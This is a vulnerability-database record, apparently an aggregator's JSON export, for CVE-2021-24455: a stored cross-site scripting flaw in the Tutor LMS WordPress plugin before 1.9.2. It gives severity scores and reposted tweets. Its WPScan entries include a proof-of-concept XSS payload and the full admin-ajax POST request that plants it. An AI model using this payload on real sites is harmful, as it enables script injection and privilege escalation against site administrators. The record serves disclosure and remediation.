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{"id": "CVE-2021-24455", "vendorId": null, "type": "cve", "bulletinFamily": "NVD", "title": "CVE-2021-24455", "description": "The Tutor LMS \u00e2\u20ac\u201c eLearning and online course solution WordPress plugin before 1.9.2 did not escape the Summary field of Announcements (when outputting it in an attribute), which can be created by users as low as Tutor Instructor. This lead to a Stored Cross-Site Scripting issue, which is triggered when viewing the Announcements list, and could result in privilege escalation when viewed by an admin.", "published": "2021-08-02T11:15:00", "modified": "2021-08-10T01:23:00", "cvss": {"score": 3.5, "vector": "AV:N/AC:M/Au:S/C:N/I:P/A:N"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE", "baseScore": 3.5}, "severity": "LOW", "exploitabilityScore": 6.8, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": true}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-24455", "reporter": "contact@wpscan.com", "references": ["https://wpscan.com/vulnerability/9ef14cf1-1e04-4125-a296-9aa5388612f9"], "cvelist": ["CVE-2021-24455"], "immutableFields": [], "lastseen": "2022-03-23T14:55:00", "viewCount": 12, "enchantments": {"dependencies": {"references": [{"type": "wpexploit", "idList": ["WPEX-ID:9EF14CF1-1E04-4125-A296-9AA5388612F9"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:9EF14CF1-1E04-4125-A296-9AA5388612F9"]}], "rev": 4}, "score": {"value": 3.8, "vector": "NONE"}, "twitter": {"counter": 5, "modified": "2021-08-04T15:52:34", "tweets": [{"link": "https://twitter.com/threatintelctr/status/1424906013258485766", "text": " NEW: CVE-2021-24455 The Tutor LMS \u00e2\u20ac\u201c eLearning and online course solution WordPress plugin before 1.9.2 did not escape the Summary field of Announcements (when outputting it in an attribute), which can be crea... (click for more) Severity: MEDIUM https://t.co/JuxGlFNZtA?amp=1"}, {"link": "https://twitter.com/threatmeter/status/1422454678609145862", "text": "CVE-2021-24455 The Tutor LMS \u00e2\u20ac\u201c eLearning and online course solution WordPress plugin before 1.9.2 did not escape the Summary field of Announcements (when outputting it in an attribute), which can be created by users as low as Tutor Instructor. This\u2026 https://t.co/6vuohieSOJ?amp=1"}, {"link": "https://twitter.com/threatmeter/status/1422454678609145862", "text": "CVE-2021-24455 The Tutor LMS \u00e2\u20ac\u201c eLearning and online course solution WordPress plugin before 1.9.2 did not escape the Summary field of Announcements (when outputting it in an attribute), which can be created by users as low as Tutor Instructor. This\u2026 https://t.co/6vuohieSOJ?amp=1"}, {"link": "https://twitter.com/WolfgangSesin/status/1424967628494417921", "text": "New post from https://t.co/uXvPWJy6tj?amp=1 (CVE-2021-24455 (tutor_lms)) has been published on https://t.co/4EsU2M96kG?amp=1"}, {"link": "https://twitter.com/www_sesin_at/status/1424967601948667907", "text": "New post from https://t.co/9KYxtdZjkl?amp=1 (CVE-2021-24455 (tutor_lms)) has been published on https://t.co/iJIKCAnVRD?amp=1"}]}, "backreferences": {"references": [{"type": "wpexploit", "idList": ["WPEX-ID:9EF14CF1-1E04-4125-A296-9AA5388612F9"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:9EF14CF1-1E04-4125-A296-9AA5388612F9"]}]}, "exploitation": null, "vulnersScore": 3.8}, "_state": {"dependencies": 0}, "_internal": {}, "cna_cvss": {"cna": null, "cvss": {}}, "cpe": [], "cpe23": [], "cwe": ["CWE-79"], "affectedSoftware": [{"cpeName": "themeum:tutor_lms", "version": "1.9.2", "operator": "lt", "name": "themeum tutor lms"}], "affectedConfiguration": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"operator": "OR", "children": [], "cpe_match": [{"vulnerable": true, "cpe23Uri": "cpe:2.3:a:themeum:tutor_lms:1.9.2:*:*:*:*:wordpress:*:*", "versionEndExcluding": "1.9.2", "cpe_name": []}]}]}, "extraReferences": [{"url": "https://wpscan.com/vulnerability/9ef14cf1-1e04-4125-a296-9aa5388612f9", "name": "https://wpscan.com/vulnerability/9ef14cf1-1e04-4125-a296-9aa5388612f9", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory"]}]}

{"wpvulndb": [{"lastseen": "2021-09-14T23:17:54", "description": "The plugin did not escape the Summary field of Announcements (when outputting it in an attribute), which can be created by users as low as Tutor Instructor. This lead to a Stored Cross-Site Scripting issue, which is triggered when viewing the Announcements list, and could result in privilege escalation when viewed by an admin.\n\n### PoC\n\nAs a Tutor Instructor, Create an Announcement and put the following payload in the Summary field: \" style=\"animation-name:rotation\" onanimationstart=\"alert(/XSS/)// POST /wp-admin/admin-ajax.php HTTP/1.1 Accept: */* Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 341 Connection: close Cookie: [Tutor Instructor+] _tutor_nonce=52e764441f&amp;tutor;_announcement_course=973&amp;tutor;_announcement_title=Test+Inst+XSS&amp;tutor;_announcement_summary=%22+style%3D%22animation-name%3Arotation%22+onanimationstart%3D%22alert(%2FXSS%2F)%2F%2F&amp;action;=tutor_announcement_create&amp;action;_type=create\n", "cvss3": {}, "published": "2021-06-28T00:00:00", "type": "wpvulndb", "title": "Tutor LMS < 1.9.2 - Authenticated Stored Cross-Site Scripting (XSS)", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2021-24455"], "modified": "2021-08-10T07:05:26", "id": "WPVDB-ID:9EF14CF1-1E04-4125-A296-9AA5388612F9", "href": "https://wpscan.com/vulnerability/9ef14cf1-1e04-4125-a296-9aa5388612f9", "sourceData": "", "cvss": {"score": 3.5, "vector": "AV:N/AC:M/Au:S/C:N/I:P/A:N"}}], "wpexploit": [{"lastseen": "2021-09-14T23:17:54", "description": "The plugin did not escape the Summary field of Announcements (when outputting it in an attribute), which can be created by users as low as Tutor Instructor. This lead to a Stored Cross-Site Scripting issue, which is triggered when viewing the Announcements list, and could result in privilege escalation when viewed by an admin.\n", "cvss3": {}, "published": "2021-06-28T00:00:00", "type": "wpexploit", "title": "Tutor LMS < 1.9.2 - Authenticated Stored Cross-Site Scripting (XSS)", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-24455"], "modified": "2021-08-10T07:05:26", "id": "WPEX-ID:9EF14CF1-1E04-4125-A296-9AA5388612F9", "href": "", "sourceData": "As a Tutor Instructor, Create an Announcement and put the following payload in the Summary field: \" style=\"animation-name:rotation\" onanimationstart=\"alert(/XSS/)//\r\n\r\nPOST /wp-admin/admin-ajax.php HTTP/1.1\r\nAccept: */*\r\nAccept-Language: en-GB,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\r\nX-Requested-With: XMLHttpRequest\r\nContent-Length: 341\r\nConnection: close\r\nCookie: [Tutor Instructor+]\r\n\r\n_tutor_nonce=52e764441f&tutor_announcement_course=973&tutor_announcement_title=Test+Inst+XSS&tutor_announcement_summary=%22+style%3D%22animation-name%3Arotation%22+onanimationstart%3D%22alert(%2FXSS%2F)%2F%2F&action=tutor_announcement_create&action_type=create", "cvss": {"score": 3.5, "vector": "AV:N/AC:M/Au:S/C:N/I:P/A:N"}}]}